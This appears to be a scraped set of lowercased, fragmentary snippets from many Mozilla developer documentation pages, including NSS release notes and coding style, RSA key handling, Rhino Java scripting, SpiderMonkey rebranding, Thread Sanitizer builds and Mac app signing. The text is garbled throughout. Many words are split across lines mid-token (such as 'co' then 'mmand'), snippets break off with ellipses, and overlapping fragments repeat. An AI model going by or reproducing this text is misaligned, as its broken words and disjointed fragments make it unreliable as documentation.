or_unknown_aia_location_type sec_error_bad_http_response sec_error_bad_ldap_response sec_error_failed_to_encode_data sec_error_bad_info_access_location sec_error_libpkix_internal new mechanism flags (see secmod.h) public_mech_aes_flag public_mech_sha256_flag public_mech_sha512_flag public_mech_camellia_flag new oids (see secoidt.h) new ec signature oids sec_oid_ansix962_ecdsa_signature_reco
mmended_digest sec_oid_ansix962_ecdsa_signature_specified_digest sec_oid_ansix962_ecdsa_sha224_signature sec_oid_ansix962_ecdsa_sha256_signature sec_oid_ansix962_ecdsa_sha384_signature sec_oid_ansix962_ecdsa_sha512_signature more id-ce and id-pe oids from rfc 3280 sec_oid_x509_hold_instruction_code sec_oid_x509_delta_crl_indicator sec_oid_x509_issuing_distribution_point sec_oid_x509_cert_issuer se...
... link time dependency from nss to softoken bug 387892: add entrust root ca certificate(s) to nss bug 433386: when system clock is off by more than two days, oscp check fails, can result in crash if user tries to view certificate [[@ secitem_compareitem_util] [[@ memcmp] bug 396256: certutil and pp do not print all the generalnames in a crldp extension bug 398019: correct confusing and erroneous co
mments in der_asciitotime bug 422866: vfychain -pp co
mmand crashes in nss_shutdown bug 345779: useless assignment statements in ec_gf2m_pt_mul_mont bug 349011: please stop exporting these crmf_ symbols bug 397178: crash when entering chrome://pippki/content/resetpassword.xul in url bar bug 403822: pkix_pl_ocsprequest_create can leave some members uninitialized bug 403910: cert_findusercertbyusage() ...
... on all unix-ish platforms bug 390710: certnameconstraintstemplate is incorrect bug 416928: der decode error on this policy extension bug 375019: cache-enable pkix_ocspchecker_check bug 391454: libpkix does not honor nss's override trust flags bug 403682: cert_pkixverifycert never succeeds bug 324744: add generation of policy extensions to certutil bug 390973: add long option names to secu_parseco
mmandline bug 161326: need api to convert dotted oid format to/from octet representation bug 376737: cert_importcerts routinely sets valid_peer or valid_ca override trust flags bug 390381: libpkix rejects cert chain when root ca cert has no basic constraints bug 391183: rename libpkix error string number type to pkix error number types bug 397122: nss 3.12 alpha treats a key3.db with no global salt ...
...ss_enable_ecc defines from manifest.mn bug 412906: remove sha.c and sha.h from lib/freebl bug 353543: valgrind uninitialized memory read in nsspkiobjectcollection_addinstances bug 377548: nss qa test program certutil's default dsa prime is only 512 bits bug 333405: item cleanup is unused deadcode in secitem_allocitem loser bug 288730: compiler warnings in certutil bug 337251: warning: /* within co
mment bug 362967: export secmod_deletemoduleex bug 389248: nss build failure when nss_enable_ecc is not defined bug 390451: remembered passwords lost when changing master password bug 418546: reference leak in cert_pkixverifycert bug 390074: os/2 sign.cmd doesn't find sqlite3.dll bug 417392: certutil -l -n reports bogus trust flags documentation for a list of the primary nss documentation pages o...
NSS 3.15.4 release notes
on the hg tag is nss_3_15_4_rtm. nss 3.15.4 requires nspr 4.10.2 or newer. nss 3.15.4 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_4_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.15.4. users are encouraged to upgrade i
mmediately. bug 919877 - (cve-2013-1740) when false start is enabled, libssl will sometimes return unencrypted, unauthenticated data from pr_recv new in nss 3.15.4 new functionality implemented ocsp querying using the http get method, which is the new default, and will fall back to the http post method. implemented ocsp server functionality for testing purposes (httpserv utility). support sha...
...l sometimes return unencrypted, unauthenticated data from pr_recv new in nss 3.15.4 new functionality implemented ocsp querying using the http get method, which is the new default, and will fall back to the http post method. implemented ocsp server functionality for testing purposes (httpserv utility). support sha-1 signatures with tls 1.2 client authentication. ...
...sp querying using the http get method, which is the new default, and will fall back to the http post method. implemented ocsp server functionality for testing purposes (httpserv utility). support sha-1 signatures with tls 1.2 client authentication. added the --empty-password co
mmand-line option to certutil, to be used with -n: use an empty password when creating a new database. added the -w co
mmand-line option to pp: don't wrap long output lines. ...
... new pkcs #11 mechanisms none. ...
NSS Developer Tutorial
les. try to stay consistent when you modify existing code. the proper use of tabs has often been confusing for new nss developers, so in nss/lib/ssl, we're gradually removing the use of tabs. curly braces: both of the following styles are allowed: if (condition) { action1(); } else { action2(); } or: if (condition) { action1(); } else { action2(); } the former style is more co
mmon. when modifying existing code, try to stay consistent. in new code, prefer the former style, as it conserves vertical space. when a block of code consists of a single statement, nss doesn’t require curly braces, so both of these examples are fine: if (condition) { action(); } or: if (condition) action(); although the use of curly braces is more co
mmon. multiple-line com...
...hen a block of code consists of a single statement, nss doesn’t require curly braces, so both of these examples are fine: if (condition) { action(); } or: if (condition) action(); although the use of curly braces is more co
mmon. ...
... miscellaneous goto can be used, to simplify resource deallocation, before returning from a function. ...
...ference to those declared in <stdint.h> (which will be used by nspr in the future). universal character names are not permitted, as are wide character types (char16_t and char32_t). nss source should only include ascii text. escape non-printing characters (with \x if there is no special escape such as \r, \n, and \t) and avoid defining string literals that use non-ascii characters. one line co
mments starting with // are permitted. check with nss-dev@ before using a language feature not already used, if you are uncertain. please update this list if you do. these restrictions are different for c++ unit tests, which can use most c++11 features. the mozilla c++ language features guide, and the chromium c++ usage guide, list c++ features that are known to be widely available and compatibl...
nss tech note7
for rsa signing and encryption is pkcs #1. nss supports pkcs #1 v1.5. nss doesn't yet support pkcs #1 v2.0 and v2.1, in particular oaep, but oaep support is on our to-do list. your contribution is welcome. data types nss uses the following data types to represent keys: seckeypublickey: a public key, defined in "keythi.h". seckeyprivatekey: a private key, defined in "keythi.h". pk11symkey: a sy
mmetric key (often called a session key), defined in "secmodt.h". these data types should be used as if they were opaque structures, that is, they should only be created by some nss functions and you always pass pointers to these data types to nss functions and never examine the members of these structures. the strength of an rsa key pair is measured by the size of its modulus because given the ...
...some nss functions and you always pass pointers to these data types to nss functions and never examine the members of these structures. the strength of an rsa key pair is measured by the size of its modulus because given the modulus and public exponent, the best known algorithm for computing the private exponent is to factor the modulus. at present 1024 bit and 2048 bit rsa keys are the most co
mmon and reco
mmended. to prevent denial-of-service attacks with huge public keys, nss disallows modulus size greater than 8192 bits. how are these keys created in nss? there are a few possibilities. rsa key pairs may be generated inside a crypto module (also known as a token). use pk11_generatekeypair() to generate a key pair in a crypto module. key pairs may be generated elsewhere, exported i...
...fter the certificate is destroyed. when the keys are no longer needed, they need to be destroyed. use seckey_destroypublickey() to destroy a public key (seckeypublickey *). use seckey_destroyprivatekey() to destroy a private key (seckeyprivatekey *). unlike seckeypublickey and seckeyprivatekey, pk11symkey objects are reference counted. use pk11_referencesymkey() to acquire a reference to a sy
mmetric key (pk11symkey *). use pk11_freesymkey() to release a reference to a sy
mmetric key (pk11symkey *); the sy
mmetric key is destroyed when its reference count becomes zero. functions rsa signing and encryption functions are provided by two layers of nss function: the sgn_ and vfy_ functions in cryptohi.h, and the pk11_ functions in pk11pub.h. as a general principle, you should use the highest ...
...block is treated as a big-endian big integer by the rsa algorithm. ...
Overview of NSS
firefox, thunderbird, seamonkey, and firefox os. aol instant messenger (aim) open source client applications such as evolution, pidgin, apache openoffice, and libreoffice. server products from red hat: red hat directory server, red hat certificate system, and the mod_nss ssl module for the apache web server. server products from oracle (formerly sun java enterprise system), including oracle co
mmunications messaging server and oracle directory server enterprise edition. suse linux enterprise server supports nss and the mod_nss ssl module for the apache web server. nss includes a framework to which developers and oems can contribute patches, such as assembler code, to optimize performance on their platforms. nss 3.x has been certified on 18 platforms. for more detailed information abou...
...ication of cryptography to data, for example digital signatures and digital envelopes. pkcs #8. rsa standard that governs the storage and encryption of private keys. pkcs #9. rsa standard that governs selected attribute types, including those used with pkcs #7, pkcs #8, and pkcs #10. pkcs #10. rsa standard that governs the syntax for certificate requests. pkcs #11. rsa standard that governs co
mmunication with cryptographic tokens (such as hardware accelerators and smart cards) and permits application independence from specific algorithms and implementations. pkcs #12. rsa standard that governs the format used to store or transport private keys, certificates, and other secret material. s/mime (rfc 2311 and rfc 2633). ietf message specification (based on the popular internet mime standar...
...of certificate validity. pkix certificate and crl profile (rfc 3280). the first part of the four-part standard under development by the public-key infrastructure (x.509) working group of the ietf (known at pkix) for a public-key infrastructure for the internet. rsa, dsa, ecdsa, diffie-hellman, ec diffie-hellman, aes, triple des, des, rc2, rc4, sha-1, sha-256, sha-384, sha-512, md2, md5, hmac: co
mmon cryptographic algorithms used in public-key and sy
mmetric-key cryptography. fips 186-2 pseudorandom number generator. for complete details, see encryption technologies. fips 140 validation and niscc testing the nss software crypto module has been validated three times for conformance to fips 140 at security levels 1 and 2. for more information, see the nss fips page (or this one). the nss...
...million test cases of invalid input data). complete software development kit in addition to libraries and apis, nss provides security tools required for debugging, diagnostics, certificate and key management, cryptography module management, and other development tasks. nss comes with an extensive and growing set of documentation, including introductory material, api references, man pages for co
mmand-line tools, and sample code. nss is available as source and shared (dynamic) libraries. every nss release is backward compatible with previous releases, allowing nss users to upgrade to the new nss shared libraries without recompiling or relinking their applications. open-source licensing and distribution nss is available under the mozilla public license, version 2. the latest source code i...
NSS functions
lists all exported functions in nss 3.11.7 it was ported from here. this is a composite page. section headings are links to the individual pages where you can edit them. keywords: deprecated - function should no longer be used. updated - function has new arguments such as new flag or addition to structure. ssl functions the public functions listed here are used to configure sockets for co
mmunication via the ssl and tls protocols. in addition to the functions listed here, applications that support ssl use some of the certificate functions, crypto functions, and utility functions described below on this page. other sources of information: the nss_reference documents the functions most co
mmonly used by applications to support ssl. the nss home page links to additional ssl document...
...r cert_getcertnicknames mxr 3.2 and later cert_getcerttrust mxr 3.2 and later cert_getcertuid mxr 3.2 and later cert_getclassicocspdisabledpolicy mxr 3.12 and later cert_getclassicocspenabledhardfailurepolicy mxr 3.12 and later cert_getclassicocspenabledsoftfailurepolicy mxr 3.12 and later cert_getco
mmonname mxr 3.2 and later cert_getcountryname mxr 3.2 and later cert_getdbcontentversion mxr 3.2 and later cert_getdefaultcertdb mxr 3.2 and later cert_getdomaincomponentname mxr 3.2 and later cert_getfirstemailaddress mxr 3.7 and later cert_getlocalityname mxr 3.2 and later cert_getnextemailadd...
...erinfo_addsigningtime mxr 3.2 and later nss_cmssignerinfo_create mxr 3.2 and later nss_cmssignerinfo_createwithsubjkeyid mxr 3.6 and later nss_cmssignerinfo_destroy mxr 3.2 and later nss_cmssignerinfo_getcertlist mxr 3.2 and later nss_cmssignerinfo_getsignerco
mmonname mxr 3.2 and later nss_cmssignerinfo_getsigneremailaddress mxr 3.2 and later nss_cmssignerinfo_getsigningcertificate mxr 3.2 and later nss_cmssignerinfo_getsigningtime mxr 3.2 and later nss_cmssignerinfo_getverificationstatus mxr 3.2 and later nss_cmssig...
...nd later sec_pkcs7encoderstart mxr 3.2 and later sec_pkcs7encoderupdate mxr 3.2 and later sec_pkcs7getcertificatelist mxr 3.2 and later sec_pkcs7getcontent mxr 3.2 and later sec_pkcs7getencryptionalgorithm mxr 3.2 and later sec_pkcs7getsignerco
mmonname mxr 3.4 and later sec_pkcs7getsigneremailaddress mxr 3.4 and later sec_pkcs7getsigningtime mxr 3.4 and later sec_pkcs7includecertchain mxr 3.2 and later sec_pkcs7iscontentempty mxr 3.2 and later sec_pkcs7setcontent mxr 3.4 and later ...
sslcrt.html
he mdn style guide. if you are inclined to help with this migration, your help would be very much appreciated. upgraded documentation may be found in the current nss reference certificate functions chapter 5 certificate functions this chapter describes the functions and related types used to work with a certificate database such as the cert7.db database provided with co
mmunicator. validating certificates manipulating certificates getting certificate information comparing secitem objects validating certificates cert_verifycertnow cert_verifycertname cert_checkcertvalidtimes nss_cmpcertchainwcanames cert_verifycertnow checks that the current date is within the certificate's validity period and that the ca signature on the certificate is valid. ...
... the error code. description the cert_verifycertnow function must call one or more pk11 functions to obtain the services of a pkcs #11 module. some of the pk11 functions require a pin argument (see ssl_setpkcs11pinarg for details), which must be specified in the wincx parameter. to obtain the value to pass in the wincx parameter, call ssl_revealpinarg. cert_verifycertname compares the co
mmon name specified in the subject dn for a certificate with a specified hostname. syntax #include <cert.h> secstatus cert_verifycertname( certcertificate *cert, char *hostname); parameters this function has the following parameters: cert a pointer to the certificate against which to check the hostname referenced by hostname. ...
...t, char *hostname); parameters this function has the following parameters: cert a pointer to the certificate against which to check the hostname referenced by hostname. hostname the hostname to be checked. returns the function returns one of these values: if the co
mmon name in the subject dn for the certificate matches the domain name passed in the hostname parameter, secsuccess. if the co
mmon name in the subject dn for the certificate is not identical to the domain name passed in the hostname parameter, secfailure. use pr_geterror to obtain the error code. description the comparison performed by cert_verifycertname is not a simple string comparison. ...
...the only character that needs to be escaped in this is ], all others are not special. ...
Network Security Services
e under the mozilla public license. for information on downloading nss releases as tar files, see download pki source. if you're a developer and would like to contribute to nss, you might want to read the documents highlevel overview of internal details of nss and getting started with nss. documentation background information overview of nss provides a brief su
mmary of nss and its capabilities. nss faq answers basic questions about nss. introduction to public-key cryptography explains the basic concepts of public-key cryptography that underlie nss. introduction to ssl introduces the ssl protocol, including information about cryptographic ciphers supported by ssl and the steps involved in the ssl handshake. getting s...
...s releases this page contains information about the current and past releases of nss. get the source code and build it instructions on how to build nss on the different supported platforms. nss apis introduction to network security services provides an overview of the nss libraries and what you need to know to use them. nss ssl public functions su
mmarizes the ssl apis exported by the nss shared libraries. nss ssl reference api used to invoke ssl operations. nss api guidelines explains how the libraries and code are organized, and guidelines for developing code (naming conventions, error handling, thread safety, etc.) nss technical notes links to nss technical notes, which provide latest information about new nss...
...reference api used to invoke ssl operations. nss api guidelines explains how the libraries and code are organized, and guidelines for developing code (naming conventions, error handling, thread safety, etc.) nss technical notes links to nss technical notes, which provide latest information about new nss features and supplementary documentation for advanced topics in progra
mming with nss. tools, testing, and other technical details build instructions for nss describe how to check out and build nss releases. nss developer tutorial how to make changes in nss. coding style, maintaining abi compatibility. nss tools tools for developing, debugging, and managing applications that use nss. sample code ...
... mailing list newsgroup rss feed view mozilla cryptography forums... mailing list newsgroup rss feed related topics security ...
Necko Architecture
necko provides the following libraries: necko - core networking functionality. ...
...om one location, to another location. these locations are represented in the form we have all grown to know and love as uris. a url implements the uri interface. the uri interface does resource-generic things like getting/setting the scheme, or getting/setting the spec (everything beyond the first colon ':'). urls provide getting/setting of paths, hosts, ports, filenames, etc. urls are the most co
mmonly used form of a uri. because of their importance, necko provides its own standard implementation of urls (with class id ns_standardurl_cid), which does all of the standard parsing necessary for most urls. necko also provides a simple uri implementation for convenience. uris (recall that a url is just one implementation of a uri) can be created as individual components independently of necko, o...
...oservice does the protocol handler lookup for you. however, you can certainly ask the nsiioservice for the protocol handler for the uri you have, then ask the protocol handler for a channel on that uri. in fact, most of what the nsiioservice does can be done independently of the nsiioservice, by hand. the nsiioservice acts as a convenience interface, consolidating several steps for the user. to su
mmarize, the nsiioservice creates url instances. it does this by looking up the protocol handler for the scheme of the url, then asking the protocol handler to create the url. the nsiioservice can also create channels. it does this by looking up the protocol handler and asking it to create the channel. the primary responsibility of protocol handlers is to create channel instances that know how to in...
... ...
Installing Pork
elsa (the c++ parser in pork) has a hard time with some of the new features used in later gcc c++ headers. our recent work has gotten mozilla to compile with gcc 4.2. gcc 4.3 should also work fairly well, but there may be 5 or so files that elsa can't parse. ...
....2. gcc 4.3 should also work fairly well, but there may be 5 or so files that elsa can't parse. to make pork easy to use, you will want to install mcpp that integrates into gcc. you will probably want a separate gcc for this so you don't have to modify your standard system gcc. you can install gcc in the normal way in a special directory. build and install mcpp mcpp generates macro expansion co
mments that allow pork's elsa to undo macros, which is necessary in order to get exact position information. to tell mcpp which gcc installation to integrate itself with, place the selected gcc bin dir as the first element of your path: path=/bindir/of/my/gcc:$path if you want to use a gcc that has binaries named something other than "gcc" and "g++", or you use "ccache" for you main gcc installat...
...st element of your path: path=/bindir/of/my/gcc:$path if you want to use a gcc that has binaries named something other than "gcc" and "g++", or you use "ccache" for you main gcc installation and want mcpp to override a separate installation, you need to pass the options "cc=gccxxx cxx=g++xxx" to "./configure". but don't give absolute paths there: mcpp won't build right. instead, make sure the co
mmands will be found on the path, as above. svn co https://mcpp.svn.sourceforge.net/svnroot/mcpp/trunk mcpp cd mcpp ./configure --enable-replace-cpp make sudo make install note: if you followed the dehydra installation instructions for linux and compiled your own gcc, then you should not need to "sudo" make install. if you run simply "make install" and see file permission errors, mcpp is likely tr...
... stack pork is a set of tools written at mozilla for refactoring c++. pork's aim is to simply doing c/c++ refactoring through elsa. ...
Scripting Java
this article shows how to use rhino to reach beyond javascript into java. scripting java has many uses. it allows us to write powerful scripts quickly by making use of the many java libraries available. we can test java classes by writing scripts. we can also aid our java development by using scripting for exploratory progra
mming. exploratory progra
mming is the process of learning about what a library or api can do by writing quick programs that use it. as we will see, scripting makes this process easier. note that the ecma standard doesn't cover co
mmunication with java (or with any external object system for that matter). all the functionality covered in this chapter should thus be considered an extension. accessing java packages and classes every piece of java code is part of a ...
...ava.io.file[] listfiles(java.io.filefilter) */} this output shows that the file class defines three overloaded methods listfiles: one that takes no arguments, another with a filenamefilter argument, and a third with a filefilter argument. all the methods return an array of file objects. being able to view the parameters and return type of java methods is particularly useful in exploratory progra
mming where we might be investigating a method and are unsure of the parameter or return types. another useful feature for exploratory progra
mming is the ability to see all the methods and fields defined for an object. using the javascript for..in construct, we can print out all these values: js> for (i in f) { print(i) } exists parentfile mkdir tostring wait [44 others] note that not only the m...
...or a new java class that implements runnable and forwards all calls to its run method over to an associated javascript object. the object that implements this class is called a java adapter. because the forwarding to javascript occurs at runtime, it is possible to delay defining the methods implementing an interface until they are called. while omitting a required method is bad practice for progra
mming in the large, it's useful for small scripts and for exploratory progra
mming. the javaadapter constructor in the previous section we created java adapters using the new operator with java interfaces. this approach has its limitations: it's not possible to implement multiple interfaces, nor can we extend non-abstract classes. for these reasons there is a javaadapter constructor. the syntax of...
...of that type is allowed. js> a[0] = 104 104 js> a[1] = 105 105 js> new java.lang.string(a) hi java strings and javascript strings it's important to keep in mind that java strings and javascript strings are not the same. java strings are instances of the type java.lang.string and have all the methods defined by that class. javascript strings have methods defined by string.prototype. the most co
mmon stumbling block is length, which is a method of java strings and a dynamic property of javascript strings: js> javastring = new java.lang.string("java") java js> jsstring = "javascript" javascript js> javastring.length() 4 js> jsstring.length 10 rhino provides some help in reducing the differences between the two types. first, you can pass a javascript string to a java method that requires a...
Rebranding SpiderMonkey (1.8.5)
so far, so good. ...
...stitute that text with the name of your brand. for example the default brand for spidermonkey 1.8.5 is 'mozjs185'. mkdir build-$brand-release cd build-$brand-release configure this build of spidermonkey with the desired options. for example: ../configure --enable-ctypes --with-system-nspr note: your desired configuration may be different. the only required part in this step is the ../configure co
mmand. so far, so good. now for the tricky parts. we need to perform a recursive find and replace text operation on all files in the current directory. in the unix world we would issue the following co
mmand: find ./ -type f -exec sed -i "s/mozjs185/$brand/" {} \; windows users: notepad++ can be used to perform the recursive find and replace text operation. if you have failed to insert your brand na...
... the following co
mmand: find ./ -type f -exec sed -i "s/mozjs185/$brand/" {} \; windows users: notepad++ can be used to perform the recursive find and replace text operation. if you have failed to insert your brand name in any of the previous steps where it is called for, you must delete this build directory and restart this process from the beginning. this time paying careful attention to the co
mmands you issue to your co
mmand shell. the above co
mmand has actually changed some information we need changed back so we will re-issue the recursive find and replace text in files co
mmand with some modifications. find ./ -type f -exec sed -i "s/$brand.pc/mozjs185.pc/" {} \; the last recursive search and replace, changes the file name of the static library: find ./ -type f -exec sed -i "s/js_stati...
...ary has been succesfully built and installed to libdir as specified in ./config/autoconf.mk. a pkgconfig file has also been installed for your library at libdir/pkgconfig/$brand.pc. you may wish to manually edit this file. it describes your library package. the script file js-config has not been modified either and still points to mozjs185. if this is not desirable, you can issue the following co
mmand on unix systems: sed -i "s/mozjs185/$brand/" /usr/bin/js-config which performs a simple text replacement of mozjs185 with your branding on the js-config script. you may need administrative rights to run the above co
mmand. ...
JSAPI Cookbook
note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and jsapi. basics working with values the basic, undifferentiated value type in the jsapi is js::value. ...
...ntegers that fit in 32 bits. * otherwise, convert the number to floating point (see the next example). */ js::callargs args = js::callargsfromvp(argc, vp); args.rval().setint32(23); return true; returning a floating-point number // javascript return 3.14159; /* jsapi */ js::callargs args = js::callargsfromvp(argc, vp); args.rval().setdouble(3.14159); exception handling throw the most co
mmon idiom is to create a new error object and throw that. js_reporterror does this. note that javascript exceptions are not the same thing as c++ exceptions. the jsapi code also has to return false to signal failure to the caller. // javascript throw new error("failed to grow " + varietal + ": too many greenflies."); /* jsapi */ js_reporterror(cx, "failed to grow %s: too many greenflies.", varie...
...*/ finally_block: cleanup(); return success; however, if cleanup() is actually a javascript function, there's a catch. when an error occurs, the jscontext's pending exception is set. if this happens in foo() or ...
...k must: save the old exception, if any clear the pending exception so that your cleanup code can run do your cleanup restore the old exception, if any return false if an exception occurred, so that the exception is propagated up. /* jsapi */ bool success = false; if (!js_callfunctionname(cx, global, "foo", 0, null, &r)) goto finally_block; /* instead of returning false i
mmediately */ if (!js_callfunctionname(cx, global, "bar", 0, null, &r)) goto finally_block; success = true; /* intentionally fall through to the finally block. */ finally_block: /* * temporarily set aside any exception currently pending. * it will be automatically restored when we return, unless we call savedstate.drop(). */ js::autosaveexceptionstate save...
Running Automated JavaScript Tests
enerally find the js shell itself; the --shell argument can be used to specify the location manually. all other flags will be passed along to the harness. developers will often want to use the -d option: jstests.py -d path_to_js_shell the -d option skips tests that are marked as randomly failing; random failures are usually just noise when being run for day-to-day developer testing. another co
mmon use case is to run just one test, or all the tests in just one directory: jstests.py path_to_js_shell test_path_substring [ test_path_substring_2 ... ] this runs all the tests whose paths contain test_path_substring. thus, you can run one test by giving its filename, or any substring that is a substring of that test filename only. you can run all tests in a directory by giving the directory p...
...three specific tests by giving the three names. or you can run all but selected tests with the --exclude option. now that the full set of test262 tests is included in the tree, jstests take a long time to complete. for a smoke test or if you are not changing language-level functionality, you may wish to use jstests.py path_to_js_shell --exclude=test262 other options allow you to show the test co
mmand lines being run, co
mmand output and return codes, run tests named in a given file, exclude tests named in a given file, hide the progress bar, change the timeout, run skipped tests, print output in tinderbox format, run a test in the debugger, or run tests in valgrind. run with the -h option to see all the options. the jstests test suite also includes some tests from web-platform-tests. by de...
...output in tinderbox format, run a test in the debugger, or run tests in valgrind. run with the -h option to see all the options. the jstests test suite also includes some tests from web-platform-tests. by default, these are only run when no tests paths are specified; this can be overridden by the --wpt=enabled flag. ...
...n with the -h option to see all the options. the jstests test suite also includes some tests from web-platform-tests. by default, these are only run when no tests paths are specified; this can be overridden by the --wpt=enabled flag. ...
TPS Tests
le to the extension. the extension will read the test file and perform a series of actions specified therein, such as populating a set of bookmarks, syncing to the sync server, making bookmark modifications, etc. a test file may contain an arbitrary number of sections, each involving the same or different profiles, so that one test file may be used to test the effect of syncing and modifying a co
mmon set of data (from a single sync account) over a series of different events and clients. set up an environment and run a test to run tps, you should create a new firefox account using a restmail.net email address (strictly speaking, restmail isn't required, but it will allow tps to automatically do account confirmation steps for you. even if you opt not to use restmail, do not use your persona...
...stmail.net account must be registered on stage, otherwise authentication will fail (and the whole test will fail as well. you can sign up for an fxa account on stage or dev by creating an fxa account after adding the identity.fxaccounts.autoconfig.uri preference (with the appropriate value) to about:config. additionally, note that the config file must parse as valid json, and so you can't have co
mments in it (sorry, i know this is annoying). one alternative is to put underscores before the "disabled" preferences, e.g. "_identity.fxaccounts.autoconfig.uri": "...". writing tps tests each tps test is run as a series of "phases". a phase runs in some firefox profile, and contains some set of actions to perform or check on that profile. phases have an n to m relationship with profiles, where n...
...d have a record. run runtps with --debug. this will enable much more verbose logging in all engines. check the tps.log file written out after tps runs. it will include log output written by the python driver, which includes information about where the temporary profiles it uses are stored. run test_sync.js. this test generally validates your tps setup and does a light test of a few engines. co
mment out the goquitapplication() calls in services/sync/tps/extensions/tps/modules/tps.jsm (remember to undo this later!). you will have to manually quit the browser at each phase, but you will be able to inspect the browser state manually. using this technique in conjunction with aboutsync is helpful. (note that the python testrunner will generally still kill firefox after a tps test runs...
...use aboutsync in a different instance of the browser). a tps failure may not point directly to the problem. for example, most errors involving bookmarks look like "places item not found in expected index", which could mean a number of issues. the other engines are similarly unhelpful, and will likely fail if there's any problem, without really indicating what the problem is. it's co
mmon for the phase after the problem to be the one reporting errors (e.g. if one phase doesn't upload what it should, we won't notice until the next phase). tps runs one "cleanup" phase for each profile (even for failed tests), which means most tests have two cleanup phases. this has a couple side effects you usually need to scroll up a bit in the log past the end of the test to find the...
Thread Sanitizer
o clang. the version of clang you need to use depends on what firefox release you are compiling if you are building from mozilla-central, you must use clang 3.6 or later. clang 3.4 + tsan cannot compile firefox due to an internal compiler error; some versions of clang 3.5 packaged by linux distros do not work for the same reason. you can check which version of clang you have by running the co
mmand: clang -v if you are not building from mozilla-central and are building firefox 39 or earlier, you must use clang 3.3. you can find precompiled binaries for llvm/clang 3.3 on the llvm releases page. we reco
mmend using clang 3.6 or later. building firefox getting the source if you don't have a source code repository clone yet, you need to get yourself a clone of mozilla-central. ad...
...flags=-j12 # enable llvm specific code and build workarounds ac_add_options --enable-thread-sanitizer # if clang is already in your $path, then these can simply be: # export cc=clang # export cxx=clang++ export cc="/path/to/clang" export cxx="/path/to/clang++" # llvm-symbolizer displays much more complete backtraces when data races are detected. # if it's not already in your $path, then unco
mment this next line: #export llvm_symbolizer="/path/to/llvm-symbolizer" # add tsan to our compiler flags export cflags="-fsanitize=thread -fpic -pie" export cxxflags="-fsanitize=thread -fpic -pie" # additionally, we need the tsan flag during linking. normally, our c/cxxflags would # be used during linking as well but there is at least one place in our build where # our cflags are not added during...
... starting firefox after the build has completed, you can start firefox from the objdir as usual. building only the javascript shell if you want to build only the javascript shell instead of doing a full firefox build, the build script below will probably help you to do so. before using it, you must of course adjust the path name for llvm_root to match your setup. once you have adjusted eve...
...2 -gline-tables-only" --enable-llvm-hacks --disable-jemalloc make -j 8 fi using llvm symbolizer for faster/better traces by default, tsan traces are symbolized because otherwise, the runtime suppression list wouldn't work. the default way of symbolizing the traces is much slower than using llvm-symbolizer for that purpose: llvm ships with a symbolizer binary that tsan will readily use to i
mmediately output symbolized traces much faster. furthermore, additional debug information is included in traces when llvm-symbolizer is used. to use it, either make sure the llvm-symbolizer binary is in your path or set the environment variable tsan_options="external_symbolizer_path=/path/to/llvm-symbolizer" before running the process. if you've built tsan as described above, then you will want to ...
Mozilla Projects
pplications can verify the integrity of a manifest retrieved over normally insecure channels. midas midas is the code name for gecko's built-in rich text editor. midas can be enabled via javascript on an html document. when midas is enabled, the document becomes editable by the user. scripting for midas is based on the dhtml co
mmands supported by internet explorer. internet explorer supports the ability to make an entire document editable by setting the designmode property of the document object; this is how midas is invoked in gecko. internet explorer also supports the ability to edit specific elements using the contenteditable attribute; starting with firefox 3, gecko also supports contenteditabl...
...erings. personal security manager (psm) personal security manager (psm) consists of a set of libraries that perform cryptographic operations on behalf of a client application. these operations include setting up an ssl connection, object signing and signature verification, certificate management (including issuance and revocation), and other co
mmon pki functions. pork pork is a c++ parsing and rewriting tool chain. the core of pork is a c++ parser that provides exact character positions for the start and end of every ast node, as well as the set of macro expansions that contain any location. this information allows c++ to be automatically rewritten in a precise way. the inputs driving ...
...no is an open-source implementation of javascript written entirely in java. it is typically embedded into java applications to provide scripting to end users. it is embedded in j2se 6 as the default java scripting engine. shumway this article will help you understand shumway — mozilla's open standards-based flash renderer — and what it means for the co
mmunity of developers currently creating the adobe flash platform. spidermonkey: the mozilla javascript runtime standalone source code releases can be found on the releases page. thread sanitizer thread sanitizer (tsan) is a fast data race detector for c/c++ programs. it uses a compile-time instrumentation to check all non-race-free memory access a...
...ls. the language is written in json, but we do not expect people to write zest in this format - it is designed to be a visual language. the core language does not define any graphical representation - that is expected to be defined by the tools that integrate zest. it is completely free, open source and can be included in any tool whether open or closed, free or co
mmercial. zest is still at a very early stage of development, but is has been made available so that anyone can play around with it. all constructive feedback is very welcome. anyone can contribute to the onward development of zest, and teams or individuals who develop security tools are especially welcome to join and help shape zest's future. ...
Signing Mozilla apps for Mac OS X
orting your new developer id into the keychain access application on your mac. if the "developer id" radio button is greyed out you probably have a group account. these types of accounts only allow for the "agent" role to create developer ids. contact the person who created your group apple developer account if you get stuck here. the codesign tool apple provides a tool called codesign; this co
mmand-line application is used to add a signature to an application bundle. the man page for codesign is available online, or you can simply type "man codesign" in a terminal window. the main options of note are: -s your-signing-identity lets you specify the signing certificate you want to sign the application with your-signing-identity is the name of your certificate. --keychain /path/to/keych...
...ment. --requirement 'designated requirement' adds additional requirements for verifying the signature and application metadata. at a minimum you'll need to provide: identifier: this must be the same as the value of the cfbundleidentifier specified in your application's info.plist file. leaf[subject.ou]: this needs to be the subject ou of your developer id. you can find it by running this co
mmand in the terminal: openssl x509 -text -noout -inform der -in devloperid_application.cer | grep subject putting it all together, you'll wind up using a co
mmand similar to the one below to sign your app. you'll of course need to change the signing id, keychain, bundle path, and requirements. codesign -s mac-testing -fv \ --keychain /users/user/library/keychains/mykeychain.keychain \ ...
...\ --requirements '=designated => identifier "org.you.yourapp" and ( (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] ) or (anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] and certificate leaf[field.1.2.840.113635.100.6.1.13] and certificate leaf[subject.ou] = "43aq936h96"))' \ application.app or if you're using v2 signing, the co
mmand might look like this: codesign -s mac-testing -fv --deep \ --keychain /users/user/library/keychains/mykeychain.keychain \ --requirements '=designated => ( (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] ) or (anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] and certificate leaf[field.1.2.840.113635.100.6.1.13] and certificate ...
...once the application has been signed, the signature of an application bundle can be validated by calling: codesign -vvvv application.app where application.app is the application bundle you wish to validate. the folder will fail to validate if any of these cases occur (there may be other cases not listed here): if any...
Places utilities for JavaScript
